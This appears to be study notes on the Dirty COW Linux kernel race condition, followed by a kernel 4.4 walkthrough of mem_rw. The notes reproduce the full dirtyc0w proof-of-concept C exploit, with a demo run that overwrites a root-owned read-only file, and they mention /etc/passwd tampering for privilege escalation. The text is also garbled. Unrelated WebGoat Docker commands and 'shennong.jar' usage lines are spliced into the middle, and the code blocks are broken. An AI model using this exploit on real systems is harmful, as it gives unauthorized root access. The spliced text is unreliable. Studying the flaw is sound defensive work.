
DirtyCOW 笔记
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
Taking WebGoat 8.0.0.M25 as an example, you can use the following command:
```bash
docker pull webgoat/goatandwolf:v8.0.0.M25
docker run -p 8080:8080 -p 9090:9090 -t webgoat/goatandwolf:v8.0.0.M25
Then visit http://localhost:8080/WebGoat/ to start using it.
For existing files, you can use the -s parameter to specify a file:
java -jar shennong.jar -s /path/to/source/file
This way, Shennong will attempt to analyze the file and output the results.``` $ sudo su
$ $ ll flag.txt -r-----r-- 1 root root 10 flag.txt $ echo "aaaaaa" > flag.txt Permission Denied $ $ gcc -pthread dirty.c -o dirty $ ./dirty flag.txt aaaaaa mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0 $ cat flag.txt aaaaaa
A common exploitation technique is to write to `/etc/passwd` with unauthorized privileges to modify the root user or change user permissions for privilege escalation.
## Analysis
### Exploit Analysis
Let's first look at what the exploit does.```c
int main(int argc, char *argv[]) {
if (argc < 3) {
(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
fopen opens the read-only target file argv[1]mmap the file into memory (address random), MAP_PRIVATE creates a Task-private memory mapping. If another Task tries to write to this memory, the process will first copy a copy before writing, thus avoiding spending a lot of time and space copying the entire memory space when forking child processes or spawning threads, while also ensuring that concurrent memory operations between Tasks do not affect each other. This is CopyOnWrite.madviseThread, the other executes procselfmemThreadThen look at the execution bodies of the two threads
madvise on the file mapping to tell the kernel about the usage of the mapped memory or shared memory. MADV_DONTNEED indicates that this memory area will no longer be used, and the kernel can release it./proc/self/mem with read-write permissions. This file is the file mapping of the process's own virtual memory, and then continuously attempts to write the target information to the file.```c
void *madviseThread(void *arg) {
char str;
str = (char)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
Ultimately, after the two threads bombarded the kernel, a race condition vulnerability appeared, and `procselfmemThread` successfully wrote to the read-only file.
### Kernel Analysis
- Prerequisite: `mmap` only creates a memory mapping on the vma, but does not actually place the mapped file into a physical page frame. Therefore, when we first attempt to `write` to the file, a page fault exception will inevitably be triggered.
- The kernel version chosen here is 4.4.
#### What happens when we write
##### mem_rw
We start analyzing from `write`. Any operation on a file must go through the virtual table `file_operations` registered by the file's filesystem on the VFS. Files on `/proc` are implemented by procfs. Looking up `proc_mem_operations`, we can see that `write` is bound to `mem_write`.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
mem_write is a wrapper of mem_rw (with the write flag set to 1). The main flow of mem_rw is:
First, __get_free_page allocates a temporary free page as a buffer.
If it is a write operation, copy_from_user copies the data to be written to the temporary page.
Then access_remote_vm reads the target data into the free page (read) or writes the content of the buffer to the target address (write).
If it is a read operation, the data read into the free page in the previous step is written back to the user's buffer.```c static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write) { struct mm_struct *mm = file->private_data; unsigned long addr = *ppos; ssize_t copied; char *page;
if (!mm) return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面 if (!page) return -ENOMEM;
copied = 0; if (!atomic_inc_not_zero(&mm->mm_users)) goto free;
while (count > 0) { int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
} *ppos = addr;
mmput(mm); free: free_page((unsigned long) page); // 释放临时空闲页面 return copied; }
##### __access_remote_vm
`access_remote_vm` is a wrapper around `__access_remote_vm`, with the main flow being: